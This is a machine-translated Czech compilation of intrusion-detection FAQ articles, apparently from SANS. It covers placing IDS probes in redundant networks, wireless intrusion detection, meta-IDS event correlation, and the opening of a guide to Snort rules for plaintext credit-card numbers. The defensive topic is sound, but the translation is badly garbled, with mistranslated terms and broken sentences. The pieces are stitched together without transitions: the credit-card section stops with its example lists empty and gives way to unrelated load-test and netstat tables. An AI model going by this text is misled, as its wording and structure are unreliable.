Další na řadě v potravinovém řetězci používá více single-segmentu sondy k pokrytí více síťových segmentů. To nám poskytuje větší flexibilitu pro pokrytí situace, kdy se používají failover síťové prvky v kombinaci s dalšími prvky, jako jsou redundantními více přepínačů. Tento postup však stále nemůže vyřešit problémy, kde může být provoz z jediného útoku odeslané po více cest, které nemohou být rozložené, jako jsou multi-path NIC je na několik přepínačů, které nepodporují multi-switch spanning. S několika sond také zvyšuje pořizovací a řízení nákladů.

V následující tabulce je shrnutí, kde může více single přestupem sondy nabízejí zlepšení oproti jediné jedním segmentem sondou.

Redundantní Network Element	Výhody / Nevýhody více sond oproti jediné sondy
Failover NIC	Zlepšuje flexibilitu pro práci s dalšími redundantními prvky
NIC multi-pathing	Žádný rozdíl
failover Cluster	Zlepšuje flexibilitu pro práci s dalšími redundantními prvky
Nezávislý IP clusteru	Zlepšuje výkonnost, schopnost zvládat geografickou diverzitu (lokalizovat jednotlivé servery, spíše než v přední části clusteru)
Cluster Shared IP	Zlepšuje výkon (lokalizovat jednotlivé servery, spíše než v přední části clusteru)
několik přepínačů	Žádný rozdíl
paralelní trasy	Žádný rozdíl
Vyrovnáváním zatížení firewally	Zlepšuje výkon (lokalizovat jednotlivé firewally spíše než před / za klastru)

Multi-Segment sonda

IDS sonda, která může naslouchat na více síťových segmentů může zahrnovat libovolně komplexní redundantní síťové scénáře tak dlouho, dokud celá síť je ve stejné budově. A méně sondy znamená nižší náklady na správu. Ale měli bychom vždy přejít na tento návrh, pokud jeden single-segmentu IDS sonda nebude rozseká ji, nebo existují situace, kdy by více single přestupem sondy byla účinnější? Nebo dokonce kombinace jedno- a více segmentů sondy. Problémy se bude:

Jaká je pořizovací cena vs. několika single-segmentů sondy?
Může jediné komplexní sonda zvládnout úroveň provozu?

Odpovědi na tyto otázky značné míry záviset na tom, jak přesně je sonda postavena. Máme dvě možnosti:

Sonda s násobkem NIC
Sonda připojena k přepínači specializované

Podívejme se na tyto dvě možnosti podrobněji.

Sonda s násobkem NIC

Ne všechny software NIDS podporuje vícenásobné NIC je. Například, může SNORT se dívat na více než jeden datový proud, v době, [7 <]. Pouze vyšší-end verze jiné systémy mohou podporovat tuto funkci, a to zejména na sond spotřebiče bázi, a dodatečné náklady nemusí být odůvodněno, pokud jiné high-end funkce (například výkon sondy) nejsou nutné. Co se týče výkonu, mnoho IDS technologie nejsou schopny využívat technologie SMP, a proto jsou omezeny na zhruba celkovou propustnost 100Mb / s [7]. Dokonce i systémy, které podporují SMP může mít velmi vysoké náklady související s výkonem v důsledku nelineární škálování s počtem procesorů.

Sonda připojena k přepínači specializované

Je možné připojit IDS systémy, které nepodporují více NIC do specializovaného spínačem, jako je Top AppSwitch vrstvou, která napájí sondu IDS z více portů na přepínači [ 8 ]. Náklady na horní vrstvě AppSwitch začíná na zhruba 10.000 $ v době psaní tohoto článku [ 9 ], takže opět, to nemusí být cenově výhodné řešení. Nicméně, AppSwitch je také schopen krmení více ID sondy, a ujistit se, že každý tok sítě jde na jedné a pouze jedné sondy, takže to může být vynikající volbou, pokud je to nutné velmi vysoký výkon.

Abychom to uvedli v našem známém formátu:

Redundantní Network Element	Výhody / Nevýhody vícesegmentovými sondy oproti více sond jedním segmentem
Failover NIC	Žádný rozdíl
NIC multi-pathing	Zvyšuje účinnost / flexibilitu
failover Cluster	Žádný rozdíl
Nezávislý IP clusteru	Snižuje výkon, schopnost zvládnout geografickou diverzitu
Cluster Shared IP	sníží výkon
několik přepínačů	Zvyšuje účinnost / flexibilitu
paralelní trasy	Zvyšuje účinnost / flexibilitu
Vyrovnáváním zatížení firewally	sníží výkon

Více s přestupem sondy

Stejné výhody výkonu jako více jednoduchých sond, ale s flexibilitou vícesegmentovými sond.

Redundantní Network Element	Výhody / Nevýhody více vícesegmentovými sond oproti Jeden vícesegmentovými Probe
Failover NIC	Žádný rozdíl
NIC multi-pathing	Žádný rozdíl
failover Cluster	Žádný rozdíl
Nezávislý IP clusteru	Zvyšuje výkon, schopnost zvládnout geografickou diverzitu
Cluster Shared IP	zvyšuje výkon
několik přepínačů	Žádný rozdíl
paralelní trasy	Žádný rozdíl
Vyrovnáváním zatížení firewally	zvyšuje výkon

IDS sond "Sladké Spots"

Aplikace redundance (Clustering)	systém redundance	Síťová redundance
Aplikace redundance (Clustering)	systém redundance	Několik spínače (ne multi-portový switch klenout)	Několik Spínače a více linek / Segmenty	Vícenásobné vypínače, vícenásobné Odkazy / segmentech a Firewall Load Balancer (vysoká rychlost přenosu dat)
Žádné Clustering nebo Failover Clustering	Failover NIC	jednoduchá sonda	Několik jednoduchých sondy	Několik jednoduchých sondy
Žádné Clustering nebo Failover Clustering	NIC multi-pathing	Multi-Segment sonda	Multi-Segment sonda	Více s přestupem sondy
Cluster geograficky Nesourodé Independent IP	Failover NIC	Několik jednoduchých sondy	Několik jednoduchých sondy	Několik jednoduchých sondy
Cluster geograficky Nesourodé Independent IP	NIC multi-pathing	Více s přestupem sondy	Více s přestupem sondy	Více s přestupem sondy
Sdílené Cluster IP (vysoká rychlost přenosu dat)	Failover NIC	jednoduchá sonda	Několik jednoduchých sondy	Několik jednoduchých sondy
Sdílené Cluster IP (vysoká rychlost přenosu dat)	NIC multi-pathing	Více s přestupem sondy	Více s přestupem sondy	Více s přestupem sondy

závěry

Bez ohledu na to, jaký druh bizarní síťové architektury máte, je to vždy možné najít nějaký způsob, jak ji sleduje se sítí IDS. Nicméně složitější sítě mohou vyžadovat více single-segmentu sondy, multi-segmentové sondou nebo dokonce více vícesegmentové sond.

Reference

1. Mark Garner, "IP sítě Multipathing," Sun BulePrints OnLine, únor 2001. Dostupný odhttp://www.sun.com/blueprints/0201/Multipathing.pdf .

2. Hewlett Packard, "Cisco Systems a HP Fast etherchannel a automatické agregace portů software." Dostupný od http://www.hp.com/products1/unixserverconnectivity/infolib/cisco.html.

3. Paul Albitz a Cricket Liu, DNS a BIND, 4. vydání , O'Reilly and Associates, 2001.

4. Cisco Systems, "Catalyst 6000 Intrusion Detection System Module list." Dostupný od http://www.cisco.com/warp/public/cc/pd/si/casi/ca6000/prodlit/6kids_ds.htm.

5. Intrusion.Com, "SecureCom Podvozek přehled." Dostupný od http://www.intrusion.com/products/productcategory.asp?lngCatId=21.

6. Cisco Systems, "Konfigurace Catalyst Switched Port Analyzer (SPAN) Feature". Dostupný od http://www.cisco.com/warp/public/473/41.html.

7. Martin Roesch, připomínky vznesené během Snort Bof na SANS sítě Security 2001 Conference, říjen 2001.

8. Gary Kessler, "IDS do hloubky: AppSwitch Vrchní vrstva filtry kopie dopravních toků následným IDSeS," Information Security Magazine, srpen 2001.

9. Nejlepší Networks vrstvu, soukromé korespondence, listopad 2001.

Intrusion Detection k bezdrátové síti: IDFAQ?

Úvod

Řada IEEE 802.11 bezdrátových standardů LAN pokročila v posledních letech; Po 802.11a, 802.11b a 802.11g, nedávno zveřejnila 802.11n standardu se stal současný standard pro vysoce výkonné bezdrátové síťové komunikace. Pokračující dostupnost levného zařízení, spolu s šířkou pásma srovnatelnou wire-speed sítě a snadnost použití, i nadále řídit vyšší míru přijetí obchodní a domácí uživatele. Bohužel, jak se často stává, implementace takových snadno použitelnými technologiemi mají svou cenu, a představit některé nezamýšlené důsledky, jako je například schopnost škodlivých uživatelům připojit bezdrátové sítě před stále rostoucí vzdáleností.

historický kontext

Přivedl do oka veřejnosti v časných 1980 filmem Válečné hry, válka vytáčení - akt systematicky vytáčení rozsahů telefonních čísel objevit počítačové systémy - se stal mor v korporátní Americe. War volba byla použita při objevu modemů připojených k podnikovým serverům a stolní počítače, které jsou zase připojen k firemní LAN. Tyto cílové systémy jsou obvykle vybaveny softwarem dálkové ovládání, jako je například PCAnywhere nebo Carbon Copy, což umožňuje individuální vzdáleně připojit k firemním prostředí, stejně jako kdyby seděli u klávesnice konzole.

Obchodní jednotky, stejně jako motivovaní jednotlivci, instalaci bezdrátových přístupových bodů (AP), které působí jako mosty k podnikovým sítím. Tyto přístupové body vysílají jejich dostupnost pro každého, v rámci rozsahu signálu přístupového bodu, která může být výrazně prodloužena přes použití speciálních antén. V případě, že rozšíření bezdrátové sítě není správně nastaven, jakákoli levná bezdrátová síťová karta a laptop (nebo smartphone) lze připojit k AP s malou nebo žádnou detekci. "Válka jízdy," stejně jako jeho "válečné vytáčení" bratranec je popsáno výše, umožňuje těm, s nezbytnými nástroji a motivaci najít, katalog, a přístup zranitelné bezdrátové přístupové body - a možná i získat přístup k jakékoliv fyzicky připojené síti - z relativní anonymity o pronájem auta v blízkém místě.

Objektivní

Scénář popsaný výše je pouze jedním z hrozeb kterém detekce narušení analytik musí zvážit. Nejprve však musíme položit zásadnější otázku: Co je detekce narušení při aplikaci k bezdrátovým sítím? systémy detekce narušení shromažďovat informace o pozorovatelný a / nebo kontrolovatelných události, které jsou poté analyzovány a korelovány s určit věci, jako incidenty, příčiny a motivy. Proto, s cílem poskytnout základ pro bezdrátovou detekci narušení, musíme nejprve zjistit, co lze pozorovat a shromažďován pro analýzu. Tento článek se bude diskutovat o několik rudimentární události, které by mohly být zachyceny pomocí bezdrátového systému detekce neoprávněného vniknutí a podávají přehled nástrojů, které může dosáhnout takové úkoly.

topologie Obavy

Současná řešení detekce narušení mají tendenci spoléhat na relativně statické a obsažených povaze kabelových sítí. Potenciální "drátové" vetřelce by bylo třeba získat fyzický přístup nějakým způsobem, a to buď prostřednictvím přístupné zásuvce sítě nebo logicky vstoupit do sítě pomocí dobře definovaných drah. Umístění čidla pro detekci vniknutí byla otázka definování a vkládání posluchače v místech, kde všechny nebo většinu síťový provoz průjezdu. Tyto předpoklady jsou již neplatná pro bezdrátové sítě, pokud oba schváleny a nepoctiví AP může být umístěn kdekoliv v síti.

Standard IEEE 802.11 [1] definuje několik typů bezdrátových síťových topologií. The Independent Basic Service Set (IBSS, nebo "ad hoc") topologie zahrnuje dva či více bezdrátových stanic komunikujících peer-to-peer (obrázek 1). Základní Service Set (BSS, nebo "infrastruktura") topologie (obrázek 2), dodává AP připojený k "distribuční soustavy" (obvykle sítě, jako je Ethernet), jehož prostřednictvím jsou všechna bezdrátová komunikace přechází před dosažením svého cíle.

Ad-hoc sítě

Ad-hoc síť má některé zjevné nevýhody pro detekci narušení. Yongguang Zhang a Wenke Lee napsal vynikající papír [2] bude řešit tento konkrétní problém. Oni nastínit několik zásadních problémů s bezdrátovými ad-hoc sítích:

Zhang a Lee navrhovat architekturu, v níž jsou všechny uzly působit jako nezávislý senzor IDS, který je schopen jednat nezávisle a kooperativně. Události jsou generovány z místního detekčního motoru. Pokud analýza událostí jsou neprůkazné nebo požadovat další informace, může být využit a konzultovat další síťové senzory "místní". Každý nezávislý senzor má šest modulů, z nichž tři se týkají detekce narušení:

infrastrukturních sítí

Režim Infrastructure je místo, kde metodiky současná detekce průniků a techniky sbírka být užitečný. Vzhledem k tomu, všech dopravních tranzit přes AP, těsná blízkost k přístupovému bodu se stává logickou volbou umístit čidlo. Vzhledem k tomu, 802.11a / b / g / n bezdrátovou síť souprava je v podstatě jen další implementace sada síťové komunikace, AP funguje jako most - překlady bezdrátové rámečky na 802.3 (nebo jiné sítě médiu) počet snímků a vice versa. Data zapouzdřené ve vyšších vrstvách zůstávají beze změny. Shromažďovat události zájmu na vrstvě 3 a výše, jeden může nadále spoléhat na populárních nástrojů jako je tcpdump nebo windump. Chcete-li se podívat na informace rámu, nicméně každý nástroj musí být schopen interpretovat střední typ rámce; Naštěstí nástroje jako Kismet a Wireshark interpretačních podpora knihoven pro analýzu bezdrátové rámu.

Beacon Rámy

Beacon rámy jsou pravidelně přenášeny rámce řízení zaslané AP, a obsahují informace potřebné pro bezdrátové stanice k zahájení procesu / ověřovací asociace - jako je název bezdrátové sítě (SSID) a podporovaných rychlostí přenosu. Beacon rámy jsou zvedl a číst potenciální uzlu klienta před zvažováním navázání spojení s bezdrátovým přístupovým bodem. Analytik může chtít zachytit a analyzovat tyto typy rámce k monitorování nepoctivými přístupových bodů nebo jiného potenciálně škodlivého provozu.

Zachycení rámce signalizace je podobný čichání síťový provoz na Ethernet segmentu. Chcete-li zachytit veškerý provoz, že vidí, síťová karta musí být v promiskuitní režim, ale nemusí nutně mít síťová adresa přiřazena k němu. V tomto režimu je síťová karta může sbírat data, ale pro všechny ostatní v síti jinak neviditelné. Systémy založené na Unix / Linux jsou nativně schopny zachytit bezdrátovou komunikaci pasivně, a může používat širokou škálu hardwaru bezdrátového rozhraní, které podporují různé kombinace 802.11a / b / g / n provozu; Systémy Windows mohou použít USB dongle AirPcap (http://www.cacetech.com/products/airpcap.html~~HEAD=dobj), spolu s mnohostranným analyzátorem bezdrátových paketů, jako je Kismet k tomu, aby pasivní bezdrátové paket zachytit. Aktivní paket zachytí pomocí nástrojů jako NetStumbler může poskytnout některé údaje pro analýzu, ale běžící tyto nástroje zavést riziko odhalení pro uživatele.

Sdružení a autentizace

Jakmile (přátelský nebo škodlivý) Klient shromažďuje SSID a další periferní informace z beacon frame, je dalším krokem k inicializaci připojení k bezdrátové síti je ke spuštění procesu přidružení a autentizace pomocí AP. Začíná s vyžádat si od vedení rámu přidružení zaslané bezdrátové klientské stanice, ke kterému AP reaguje s rámem Management Association Response. Po úspěšném spojení mezi klientem a přístupovým bodem, další fázi ověřování zahájen; podrobnosti o ověřování pravosti, včetně výměny a Challenge / Response, závisí na metody ověřování podporovaných AP (např: WEP, WPA, WPA2). Analyzování kódy odezvy asociace / autentizace a zachycovat MAC adresy je také dobré místo, kde hledat událostí zájmu, jako je několik pokusů o přístup a protokol specifických pro zvýšení odolnosti proti vloupání techniky.

Různé bezdrátové analytické nástroje 802,11 paketů jsou široce dostupné na pomoc při posuzování bezdrátovém provozu. Populární freewarové nástroje patří Wireshark (dříve známý jako Ethereal) pro General Packet a analýzu rámu a Kismet (a best-of-breed bezdrátových sítí posouzení a útok nástroj).

ARP

Address Resolution Protocol (ARP) se používá k mapování IP adresy na odpovídající hardwarovou adresu [4], a používá se ke stanovení tras pro komunikaci v sítích. Arpwatch (http://www-nrg.ee.lbl.gov/) je nástroj, který sleduje změny těchto údajů a může být použit jako zdroj dat detekce. Při aplikaci k bezdrátovému přístupovému bodu [5], arpwatch by mohly být použity k získání informací o bezdrátových stanic již ověřeným a spojených s AP. Poté, co paket vstoupí do kabelové straně AP z bezdrátové strany, zajímavý provoz může se začínají objevovat, jako je zjišťování sítě a síťových spojení pocházející z adresy IP přístupového bodu.

Bezdrátové systémy IDS

Co tedy představit jako senzory? WIDS (Wireless IDS) systém získal popularitu v posledních letech, vzhledem k pokračující hrozbě vzdáleného zneužívání prostřednictvím bezdrátových sítí. Nasazen v překrývajících se, paralelní konfigurací s AP sítě, sítě WIDS mohou být navrženy tak, aby detekovat signály, poslouchat škodlivého provozu, a dokonce zlomit nežádoucí bezdrátové připojení. Komerční implementace WIDS prostřednictvím prodejců, jako je ISS a AirDefense jsou k dispozici, a obecně sestávají z hierarchie senzorů, regionálních kolektorových systémů a centrální konzole pro správu; open source řešení, jako je Snort-Wireless jsou k dispozici pro ty, kteří s více omezenými rozpočty.

Závěr

Celý proces metodologie a nástroje popsané výše poškrábat povrch bezdrátové detekce narušení. Tento článek byl popsal několik rudimentární formy bezdrátové detekce narušení pro nejzákladnější síťové architektury - detekce bezdrátové stanice sdružujících s přístupovým bodem připojeným ke kabelové síti. Nedávné pokroky byly provedeny v poli, s mnoha tradiční "drátové" nástrojů stávat přizpůsoben pomáhat s bezdrátovým pohledu a nových specializovaných nástrojů zajišťujících schopnosti v oblasti zachytávání paketů, interpretace paketů a detekce narušení .. S rostoucí popularitou "wardriving" a jiné prostředky nepoctivými komunikací, budou tyto schopnosti jistě i nadále požadováno, aby pomáhají chránit naše stále rostoucí bezdrátové infrastruktury.

Reference

ANSI / IEEE. "IEEE standard pro informační technologie Telekomunikace a výměna informací mezi systémy Lokální a metropolitní sítě Specifické požadavky Část 11:.... Wireless LAN Medium Access Control (MAC) a fyzickou vrstvu (PHY) specifikace." 1999.

Zhang, Yongguang, Wenke, Lee. "Intrusion Detection v bezdrátové síti ad-hoc sítě." Sborník šesté výroční mezinárodní konference o oblasti mobilních počítačů a sítí. 2000.Arbaugh, William A., Shankar, Narendar, Wan, YC Justin. "Vaše 802,11 bezdrátové sítě nemá šaty." Katedra informatiky, University of Maryland. 31.března 2001.

Stevens, W. Richard. TCP / IP Illustrated, Volume 1. Massachusetts: Addison-Wesley. 1994.

Co je Meta-Intrusion Detection Systems?

Patrick Ethier

Definice

George Ho popisuje Meta IDS jako je technologie, která umožňuje jediné bezpečnostní konzole přijímat od a komunikovat se všemi nasazených zařízení, která jsou od různých výrobců [1]. Pete Loshin z informací časopisu Security dodává, že je systém, který může přijímat výstrahy zabezpečení ze všech nasazených bezpečnostních zařízení, masírovat surových dat, extrahovat užitečné informace a předložit tyto informace ve formátu zvládnutelné [3].

Přijatá v tomto kontextu, Meta-IDS využívá informace poskytnuté různými bezpečnostními zařízeními a analýzy, provádí analýzu trendů, druhy, koreluje a prezentuje informace o zabezpečení na správce sítě. Vzhledem k tomu, detekce narušení nepochází ze síťových dat se nazývá Meta IDS z použití meta údajů použitých ve své analýze. Ale Meta IDS je mnohem více než super konzole pro detekci průniků.

Meta IDS je řešení pro zabezpečení nasazení celopodnikových. Mnoho prodejců, jako je nabídka sběrných servery ISS a NFR, které jsou schopny centralizovat správu a monitorování jejich různých senzorů. Některé technologie, jako jsou ledovce od ISS / NetworkICE jsou schopni monitorovat a řídit oba HIDS a řešení Nids. Konvergence IDS řešení a rostoucí přijetí Intrusion Detection Message Exchange Format [2] [4] (IDMEF) naruší současnou definici Meta IDS jak shora uvedeno. Meta IDS budou muset spoléhat na ostatní výhody, které nabízí na celopodnikové nasazení s cílem prokázat svou hodnotu.

Stanovení potřeby

Potřeba meta IDS vyplývá z neschopnosti současných systémů detekce narušení bezpečnosti, aby získali povědomí o "síť" kvůli nedostatku rozsahu. Je to proto, že jednotlivé systémy IDS přístup k datům, který teče přes určitý kanál na určitém místě v síti. Pokud je útok je zaměřen na části sítě, která snímač nepokrývá ani útok je vypuštěn na hostiteli za kontrolní bod nabízené senzoru IDS pak to senzor se nemůže týkat událostem zjištěným jinými IDS nasazených na síť.

HIDS a NIDS spoléhat na surová data ovlivnění hostitele nebo tekoucí přes síť k identifikaci anomálií nebo nahlédnout do signatur útoků. Výsledkem je konstantní tok spouštěcích zpráv na základě nějaké vzorů. Problém je v tom, že pravidelné, neškodné síťové aktivity mohou obsahovat tyto vzory a výsledkem je výroba hodně záznamů, z nichž dobré procento signalizuje normální provoz. Mnoho správci sítě zakázat detekci určitých útoků, aby se snížilo množství informací, které musí být zpracovány. Automatizace předběžných operací, které bezpečnostní technik síť by dělat v analýze dat, jakož i poskytování schopnost přijmout tento interpretován dat a odstranit známé nebo vysvětleny výskyty je další identifikována potřeba pro celopodnikové nasazení IDS.

Obrovský problém často setkáváme v nasazení bezpečnostní monitoring v podniku je topologie sítě. odborníci zabezpečení sítě ne vždy řešit ideální situaci. Vnitřní spojení, business-to-business vazby, ploché sítě, segmentové sítě; heterogenní sítě již představují dost bolí hlava s IDS z hlediska pokrytí, výkonu a účinnosti. K tomu je potřeba zabývat se zranitelností, ukládání citlivých informací a nutnost zachovat dostupné systémy pro obchodní operace. Poskytování schopnost zpracovávat IDS události z hlediska posouzení zranitelnosti, hodnocení rizik a hrozeb uvádí jako jedno z nejzajímavějších výhod, které nabízí MID až po velké organizace.

rozvinutí

Při nasazování MID, je důležité trvat několik faktorů v úvahu. Za prvé, MIDS musí získat přístup k IDS senzory, které jsou rozmístěny po celé síti. Za druhé, MIDS musí být přístupný pro více operátorů zabezpečovacích systémů od různých místech, aby mohly využívat funkcí systému. Zatřetí, MIDS musí být nasazeny v zabezpečeném prostředí. Tyto podmínky se obvykle nacházejí v Centru Network Operations (NOC) společnosti. Správně nasazené operačních středisek obvykle nabízejí redundantní, mimo pásmo spojení s kontrolovaným přístupem.

Úvahy v nasazení středy na podnikové síti by měl zahrnovat škálovatelnost a flexibilitu. Škálovatelnost znamená, že kapacita středy zpracovat určité množství id události by měly být distributable napříč různými motory, aniž by ztratily některou z výhod, které srovnávací motorem středy. Flexibilita znamená, že motor MID měl být otevřen pro manipulaci nové typy událostí, jakož i přijímat informace z nových typů motorů IDS po počátečním nasazení bez odstranění jakékoliv účinnost od srovnávací motoru.

Funkce

Funkce, které by měly být nalezeny v následujících meta IDS systémy se musí zabývat manipulaci s událostmi v kontextu sítě, korelace založené na přístupu k politice, zranitelnosti, posuzování hrozeb a posouzení rizik, je distribuovaná architektura šířit zatížení zpracování, kterým se ukládá množství dat a aby systém nadbytečné, stejně jako modulární / programovatelné rozhraní pro umožnění rozšíření systému přijmout budoucí technologie.

Manipulace s událostí v rámci sítě znamená, že události generované v celé síti jsou analyzovány a uzavřeno přes technologie pro vynucování, nebo propagují význam sérii událostí. V tomto případě korelace může být uváděn v různých formách.

Měřící význam akce narušení je odvozena ze vztahu mezi pár věcí. Meta IDS může tento proces automatizovat. V odkazu [6], je diskuse o klasifikaci útoků, pokud jde o nebezpečí a přenositelnosti. Tvrzení je, že využít více faktorů při přidělování kritičnost ve vztahu k organizaci. MID musí být schopen vypočítat tyto faktory ve téměř v reálném čase.

pokus o narušení bezpečnosti musí být ve srovnání s zranitelnosti. Středy obsahuje seznam počítačů v síti a výpis posledního zranitelnosti. Je-li hostitel byly označeny jako "záplaty" pro tento konkrétní pokus o narušení poté upozornil je degradován. Pokud existuje podezření o odolnosti hostitele na konkrétní zranitelnosti pak je podporován pokus o narušení. Za druhé, pokus o vniknutí musí být ve srovnání s hodnocením hrozeb. Je-li hostitel se nachází v situaci, kdy je náchylný k napadeni a že byla přijata opatření ke snížení hrozby a pak pokus o vniknutí je degradován. Je-li hostitel nachází v oblasti, která nebyla považována za náchylné k útoku, a že přijatá opatření na ochranu nejsou tak těsná pak je podporován pokus o vniknutí. Za třetí, pokus o vniknutí musí být ve srovnání s posouzením rizik. Pokud buď cíl nebo zdrojovým uzlem obsahuje vysoce citlivé informace nebo pokud je riziko uložené na možnost, že hostitel byla ohrožena je vysoká pak je podporován pokus o vniknutí. V případě, že informace o hostitele je zanedbatelná a řízení přístupu k síti, aby to tak, že tento hostitel kompromitaci má malý význam potom pokus o vniknutí je degradovat.

Dalším aspektem korelace je vyhovující scénář. Scénář odpovídající sestává z brát řadu akcí dohromady a měnit je na jednu událost. Z toho důvodu zranitelnosti na poštovním serveru porovnané s přenos zóny ze serveru DNS a ARP povodní portu na přepínači by mohlo znamenat, že někdo se snaží převzít svůj poštovní systém. Jsou schopni vysvětlit vztah mezi událostmi může trvat událost, která je jinak vnímána jako neškodný a dát do souvislosti s globální útoku. Tento druh korelace lze provést pomocí expertního systému, který učí tím, že scénáře prvního přivedená ze strany bezpečnostních inženýrů a naučil se v průběhu času nebo to lze provést pomocí dolování dat metodami vhodnými pro detekci narušení.

Wenke Lee a Salvatore Stolfo [7] [5] projednány na krajnosti důsledky používání techniky dolování dat pro detekci narušení. Ačkoli jejich papír popisuje použití přístupu z oblasti dolování dat na tcpdump údajů ao sendmail protokolů, je možné abstraktních jejich metod, které mají být použity na IDMEF zpráv.

Korelace čelí mnoha výzvám. Nejdůležitější je nedostatek standardizace pro vztah mezi známé zranitelnosti a typ útoku. Přestože databáze pavouků, databáze CVE a dalších komerčních databází druhu mají za cíl označit veškeré známé zranitelnosti, žádné dva výrobci používají stejnou konvenci hlásit podobné nálezy. Z tohoto důvodu, port scan, což je velmi časté a obecný výskyt, může být detekován v mnoha různými způsoby. Skenování portů zjištěné odfrkl a skenování portů zjištěných BlackICE nemusí vždy znamenat totéž. IDMEF [2] byl koncipován pro výměnu dat mezi systémy detekce průniku, ale neposkytuje mechanismus říkat: "To je SYN skenování" v univerzálním jazykem. Aby bylo možné použít data mining datových sadách jsou vyrobeny z rozmanitých technologií středy musí překonat tento problém.

Možnost sledování událostí je další vlastnost nabízí středy. To uniká přes do říše počtu cestujících a CRM software, ale je také důležitou součástí detekce narušení. Nabízí schopnost provozovatele, aby zjistil, zda podobná akce se stalo v minulosti a jak se situace byla vyřešena má nezměrnou hodnotu k organizaci při řešení otázek souvisejících s bezpečností. Tato funkce je také důležité umožnit koordinaci mezi geograficky oddělených bezpečnostních expertů, kteří pracují na společném případu. Použití středy jako dispečink, pro vyplňování formulářů a ukládání dat o událostech se stává klíčovým aspektem v závodě zabezpečit sítě pomocí synchronizace opatření přijatá personálem. A konečně, schopnost měřit efektivitu technologií nasazených a nabídnout statistické údaje naznačují, jak byly zjištěny mnoho událostí a kolik jich bylo vysvětleno / vyřešeny znamená, že jasný obraz lze natírat na potřebu "hovězí up" bezpečnost v určitých oblastech a ospravedlnit rozpočet pro udržení úrovně zabezpečení v jiných.

MIDS nabízí možnost působit na události. Vezmeme-li v úvahu, že korelace incidentů a sledování může poskytnout určité okno varování, motor MID může poskytnout možnost řádně vypnut server a minimalizovat ztrátu informací. Je pochopitelné, že je třeba dbát, aby se zabránilo nové typy popření servisních útoků pomocí těchto automatických mechanismů. Některé IDS prostředí, jako je například SNORT pomocí modulu flexresp, již nabízejí tuto funkci. Tyto IDS mohou vypořádat s určitým rozhodování low-level s cílem automatizovat odpovědi, ale jejich nedostatek rozsahu znamená, že nejsou vhodné při rozhodování zahrnující mnoho faktorů. MIDS má tento prostor, a proto může tlačit obálku efektivnější rozhodování na vyšší úroveň.

MID je schopen řídit několik bezpečnostních zařízení ze společné platformy. To usnadňuje provádění politiky v rámci sítě. Některé technologie, jako je OPSEC a SNMP již nabízejí možnost dálkově překonfigurovat zařízení. Z tohoto důvodu MIDS by měla být koncipována tak, aby převod mezi různými formáty dodavatelů a umožnit operátorům naladění jednotlivých čidel z jedné platformy. Tam je nějaká debata o tom, zda tento přístup by měl být pořízen pomocí zavedeného softwarový agent [] na každém hostiteli nebo modulární síťový agent, který umí konvertovat mezi univerzálním jazykem a agenty již nasadili / integrovaný s každým hostitele.

Hlavním rysem středy by měla být schopnost poskytovat globální stav bezpečnosti. To znamená, že zprávy by měly být generovány, aby zahrnovala společné cíle, společné vetřelce, srovnání mezi událostmi byla odhalena jedním typem technologie, ale ne jiný, atd. Tento stav bezpečnosti umožní bezpečnostní experti, aby se správná rozhodnutí, protože mají pevné metriky, na nichž aby založily svá rozhodnutí na. MID, spojený s průmyslovými osvědčených postupů, má schopnost dělat vytváření sítí svět lepší a bezpečnější místo.

Závěrem lze říci, MID je relativně nová technologie, která, stejně jako konzoly pro správu sítě na počátku 90. bude to umožňují schopnost překonat problémy nasazením velkého množství IDS v síti a snížení množství úsilí a prostředky, které potřebují věnován na ně. To umožní organizacím vykonávat svou činnost a nestarat se o integraci bezpečnostních technologií do svých sítí.

Reference:

1 - http://rr.sans.org/intrusion/tomorrow.php
2 - http://www.ietf.org/ids.by.wg/idwg.html
3 - http://www.infowar.com/ iwftp / icn / 05Jul2001_standardized_IDS_reporting_format.shtml
4 - http://www.infosecuritymag.com/articles/august01/cover.shtml
5 - http://www.securityfocus.com/data/library/ieee_sp99_lee.ps
6 - http: / /www.cs.nps.navy.mil/people/faculty/rowe/barruspap.html
7 - http://www.cs.columbia.edu/~sal/hpapers/USENIX/usenix.html

Použití Snort pro detekci formátu prostého textu kreditní karty čísla

Úvod

Jak můžeme použít Snort IDS odhalit citlivé informace ve formátu prostého textu na našich sítích? V tomto FAQ, se podíváme na některá pravidla Snortu určené k diagnostikování jasná čísla kreditních karet textu. S trochou pochopení pravidel Snort, mohli byste použít stejný teorii odhalit jiné typy citlivých informací, jako jsou USA čísla sociálního zabezpečení (SSNs).

Před stavíme pravidla Snortu, musíme nejprve pochopit něco o formátu informací, které hledáme v naší síti. formáty Kreditní karta může být trochu jednodušší, než jiné informace, ale to nám dá dobrou představu o tom, jak vybudovat pravidla Snortu odhalit konkrétní informace. Pojďme se podívat na formátu čtyř hlavních kreditních karet.

Formáty číslo kreditní karty

Formát Visa karta je 16 znaků dlouhý a začíná "4". Jako příklady lze uvést:

Formát MasterCard je 16 číslic a začíná s "5". Jako příklady lze uvést:

Formát Discover karta je 16 znaků dlouhý a začíná "6011". Jako příklady lze uvést:

Formát American Express karty je 15 číslic a začíná "3". Jako příklady lze uvést:

Zátěžová zkouška	NSTL MB / s load	% Z události zaznamenané RealSecure
NSTL (~ T1)	~ 2 Mb / s	66
NSTL (~ 5 Mb)	~ 5 Mb / s	67
NSTL Small	~ 13 Mb / s	75
NSTL Medium	~ 25 Mb / s	33
NSTL Heavy	~ 49 Mb / s	10

Sloupec	informace Popis
Proto	Typ protokolu se používá protokol TCP nebo UDP.
místní adresa	IP adresa lokálního systému a lokální port používán.
cizí adresa	IP adresa vzdáleného systému a vzdálený port používán.
Stát	Stav TCP spojení.
PID	Způsob identifikátor zpracování pomocí místní port.

Sloupec / Field	Popis
Protokol	Typ protokolu se používá protokol TCP nebo UDP.
Proces	Jméno Obrázek běžícího procesu.
PID	Způsob identifikátor zpracování pomocí místní port.
Stát	Stav TCP spojení.
Lokální adresa a port	IP adresa lokálního systému a lokální port používán.
Cizí adresa a port	IP adresa vzdáleného systému a vzdálený port používán.

Proto	místní adresa	cizí adresa	Stát	PID
TCP	0.0.0.0:135	0.0.0.0:0	NASLOUCHÁNÍ	668

TCP	0.0.0.0:445	0.0.0.0:0	NASLOUCHÁNÍ	4

TCP	0.0.0.0:5357	0.0.0.0:0	NASLOUCHÁNÍ	4

TCP	0.0.0.0:49152	0.0.0.0:0	NASLOUCHÁNÍ	392

TCP	0.0.0.0:49153	0.0.0.0:0	NASLOUCHÁNÍ	716

TCP	0.0.0.0:49154	0.0.0.0:0	NASLOUCHÁNÍ	884

TCP	0.0.0.0:49155	0.0.0.0:0	NASLOUCHÁNÍ	468

